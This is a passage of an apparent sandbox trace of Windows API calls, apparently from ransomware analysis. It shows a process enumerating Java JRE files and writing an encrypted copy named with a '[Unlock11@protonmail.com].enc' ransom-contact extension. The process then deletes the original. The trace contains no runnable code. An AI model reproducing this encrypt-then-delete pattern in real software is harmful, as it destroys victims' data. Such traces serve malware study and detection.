lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1650, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="messages_ko.properties", cAlternateFileName="ME1706~1.PRO")) returned 1 [0130.340] GetCurrentThreadId () returned 0x9b0 [0130.340] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcd5, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="messages_pt_BR.properties", cAlternateFileName="MED1E1~1.PRO")) returned 1 [0130.340] GetCurrentThreadId () returned 0x9b0 [0130.340] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="messages_sv.properties", cAlternateFileName="ME0541~1.PRO")) returned 1 [0130.340] GetCurrentThreadId () returned 0x9b0 [0130.340] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="messages_zh_CN.properties", cAlternateFileName="ME40CD~1.PRO")) returned 1 [0130.340] GetCurrentThreadId () returned 0x9b0 [0130.341] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="messages_zh_HK.properties", cAlternateFileName="MEB8B5~1.PRO")) returned 1 [0130.341] GetCurrentThreadId () returned 0x9b0 [0130.341] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="messages_zh_TW.properties", cAlternateFileName="MECC18~1.PRO")) returned 1 [0130.341] GetCurrentThreadId () returned 0x9b0 [0130.341] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x218e, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="splash.gif", cAlternateFileName="")) returned 1 [0130.341] GetCurrentThreadId () returned 0x9b0 [0130.341] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bac, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="splash@2x.gif", cAlternateFileName="SPLASH~1.GIF")) returned 1 [0130.341] GetCurrentThreadId () returned 0x9b0 [0130.341] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e7d, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="splash_11-lic.gif", cAlternateFileName="SPLASH~2.GIF")) returned 1 [0130.341] GetCurrentThreadId () returned 0x9b0 [0130.341] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="splash_11@2x-lic.gif", cAlternateFileName="SPLASH~3.GIF")) returned 1 [0130.342] GetCurrentThreadId () returned 0x9b0 [0130.342] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="splash_11@2x-lic.gif", cAlternateFileName="SPLASH~3.GIF")) returned 0 [0130.342] GetCurrentThreadId () returned 0x9b0 [0130.342] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0130.343] GetCurrentThreadId () returned 0x9b0 [0130.343] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 0x20 [0130.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0130.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0130.344] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20 [0130.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0130.349] GetCurrentThreadId () returned 0x9b0 [0130.349] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20 [0130.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd50 | out: hHeap=0x2ad0000) returned 1 [0130.350] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20 [0130.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbcb0 | out: hHeap=0x2ad0000) returned 1 [0130.351] GetCurrentThreadId () returned 0x9b0 [0130.351] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20 [0130.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0130.351] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881270, Size=0x20) returned 0x35c5ed8 [0130.351] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0130.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0130.351] GetCurrentThreadId () returned 0x9b0 [0130.352] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0130.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0130.352] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0130.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db670 | out: hHeap=0x2ad0000) returned 1 [0130.353] GetCurrentThreadId () returned 0x9b0 [0130.353] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0130.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba30 | out: hHeap=0x2ad0000) returned 1 [0130.354] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5ed8, Size=0x40) returned 0x38875c0 [0130.354] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0130.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db850 | out: hHeap=0x2ad0000) returned 1 [0130.354] GetCurrentThreadId () returned 0x9b0 [0130.354] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20 [0130.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd00 | out: hHeap=0x2ad0000) returned 1 [0130.355] GetCurrentThreadId () returned 0x9b0 [0130.355] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20 [0130.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0130.356] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20 [0130.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb70 | out: hHeap=0x2ad0000) returned 1 [0130.356] GetCurrentThreadId () returned 0x9b0 [0130.356] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 0x20 [0130.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0130.356] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20 [0130.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0130.357] GetCurrentThreadId () returned 0x9b0 [0130.357] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20 [0130.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0130.358] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20 [0130.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbcb0 | out: hHeap=0x2ad0000) returned 1 [0130.358] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38875c0, Size=0x64) returned 0x2a197a8 [0130.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ac8 | out: hHeap=0x2ad0000) returned 1 [0130.358] GetCurrentThreadId () returned 0x9b0 [0130.358] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", lpFilePart=0x9bada4*="ffjcext.zip") returned 0x39 [0130.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0130.358] GetCurrentThreadId () returned 0x9b0 [0130.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0130.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0130.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0130.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0130.359] GetCurrentThreadId () returned 0x9b0 [0130.359] GetCurrentThreadId () returned 0x9b0 [0130.359] GetCurrentThreadId () returned 0x9b0 [0130.359] GetCurrentThreadId () returned 0x9b0 [0130.359] GetCurrentThreadId () returned 0x9b0 [0130.359] GetCurrentThreadId () returned 0x9b0 [0130.359] GetCurrentThreadId () returned 0x9b0 [0130.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9a8 | out: hHeap=0x2ad0000) returned 1 [0130.360] GetCurrentThreadId () returned 0x9b0 [0130.360] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x374c)) returned 1 [0130.360] GetCurrentThreadId () returned 0x9b0 [0130.360] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bb4c | out: pbBuffer=0x366bb4c) returned 1 [0130.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0130.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0130.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0130.360] GetCurrentThreadId () returned 0x9b0 [0130.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5938 [0130.361] GetCurrentThreadId () returned 0x9b0 [0130.361] GetCurrentThreadId () returned 0x9b0 [0130.361] GetCurrentThreadId () returned 0x9b0 [0130.361] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0130.361] GetFileType (hFile=0x39c) returned 0x1 [0130.361] GetCurrentThreadId () returned 0x9b0 [0130.361] GetFileType (hFile=0x39c) returned 0x1 [0130.362] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.362] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.362] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.362] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.362] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.362] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.362] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.362] GetLastError () returned 0x0 [0130.362] GetCurrentThreadId () returned 0x9b0 [0130.362] GetLastError () returned 0x0 [0130.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653e8 | out: hHeap=0x2ad0000) returned 1 [0130.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887650 | out: hHeap=0x2ad0000) returned 1 [0130.362] GetLastError () returned 0x0 [0130.363] GetLastError () returned 0x0 [0130.363] GetLastError () returned 0x0 [0130.363] GetLastError () returned 0x0 [0130.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653b8 [0130.364] GetLastError () returned 0x0 [0130.364] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0130.365] GetFileType (hFile=0x3ac) returned 0x1 [0130.365] GetLastError () returned 0x0 [0130.365] GetCurrentThreadId () returned 0x9b0 [0130.365] GetLastError () returned 0x0 [0130.365] GetFileType (hFile=0x3ac) returned 0x1 [0130.365] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.365] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.365] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.365] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.365] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.366] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.366] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.366] GetLastError () returned 0x0 [0130.366] GetCurrentThreadId () returned 0x9b0 [0130.366] GetLastError () returned 0x0 [0130.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0130.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0130.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0130.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0130.366] GetLastError () returned 0x0 [0130.366] GetLastError () returned 0x0 [0130.366] GetCurrentThreadId () returned 0x9b0 [0130.367] GetLastError () returned 0x0 [0130.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.367] GetLastError () returned 0x0 [0130.367] GetLastError () returned 0x0 [0130.367] GetCurrentThreadId () returned 0x9b0 [0130.367] GetLastError () returned 0x0 [0130.367] GetLastError () returned 0x0 [0130.369] GetLastError () returned 0x0 [0130.369] GetCurrentThreadId () returned 0x9b0 [0130.369] GetLastError () returned 0x0 [0130.369] GetCurrentThreadId () returned 0x9b0 [0130.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265438 | out: hHeap=0x2ad0000) returned 1 [0130.369] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3768) returned 0x381b008 [0130.369] GetLastError () returned 0x0 [0130.370] GetLastError () returned 0x0 [0130.370] GetLastError () returned 0x0 [0130.370] GetLastError () returned 0x0 [0130.370] GetCurrentThreadId () returned 0x9b0 [0130.370] GetLastError () returned 0x0 [0130.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381b008 | out: hHeap=0x2ad0000) returned 1 [0130.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0130.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0130.370] GetLastError () returned 0x0 [0130.371] GetLastError () returned 0x0 [0130.371] GetCurrentThreadId () returned 0x9b0 [0130.371] GetLastError () returned 0x0 [0130.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0130.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fbcb8 [0130.372] GetLastError () returned 0x0 [0130.372] GetLastError () returned 0x0 [0130.372] GetCurrentThreadId () returned 0x9b0 [0130.372] GetLastError () returned 0x0 [0130.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fbcb8 | out: hHeap=0x2ad0000) returned 1 [0130.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.372] GetLastError () returned 0x0 [0130.373] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0130.373] CloseHandle (hObject=0x3ac) returned 1 [0130.373] GetLastError () returned 0x0 [0130.373] GetCurrentThreadId () returned 0x9b0 [0130.373] GetLastError () returned 0x0 [0130.373] GetLastError () returned 0x0 [0130.373] CloseHandle (hObject=0x39c) returned 1 [0130.373] GetLastError () returned 0x0 [0130.373] GetCurrentThreadId () returned 0x9b0 [0130.374] GetLastError () returned 0x0 [0130.374] GetLastError () returned 0x0 [0130.374] GetLastError () returned 0x0 [0130.374] GetLastError () returned 0x0 [0130.374] GetLastError () returned 0x0 [0130.374] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1 [0130.375] GetLastError () returned 0x0 [0130.375] GetCurrentThreadId () returned 0x9b0 [0130.375] GetLastError () returned 0x0 [0130.375] GetCurrentThreadId () returned 0x9b0 [0130.375] GetLastError () returned 0x0 [0130.376] GetLastError () returned 0x0 [0130.376] GetLastError () returned 0x0 [0130.376] GetLastError () returned 0x0 [0130.376] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties", lpFilePart=0x9bada4*="messages.properties") returned 0x41 [0130.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0130.376] GetCurrentThreadId () returned 0x9b0 [0130.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0130.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0130.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0130.376] GetLastError () returned 0x0 [0130.377] GetLastError () returned 0x0 [0130.377] GetLastError () returned 0x0 [0130.377] GetLastError () returned 0x0 [0130.377] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties", lpFilePart=0x9bada4*="messages_de.properties") returned 0x44 [0130.377] GetCurrentThreadId () returned 0x9b0 [0130.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0130.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0130.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0130.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0130.377] GetCurrentThreadId () returned 0x9b0 [0130.378] GetLastError () returned 0x0 [0130.378] GetLastError () returned 0x0 [0130.378] GetLastError () returned 0x0 [0130.378] GetLastError () returned 0x0 [0130.378] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties", nBufferLength=0x208, lpBuffer=0x9bada8, 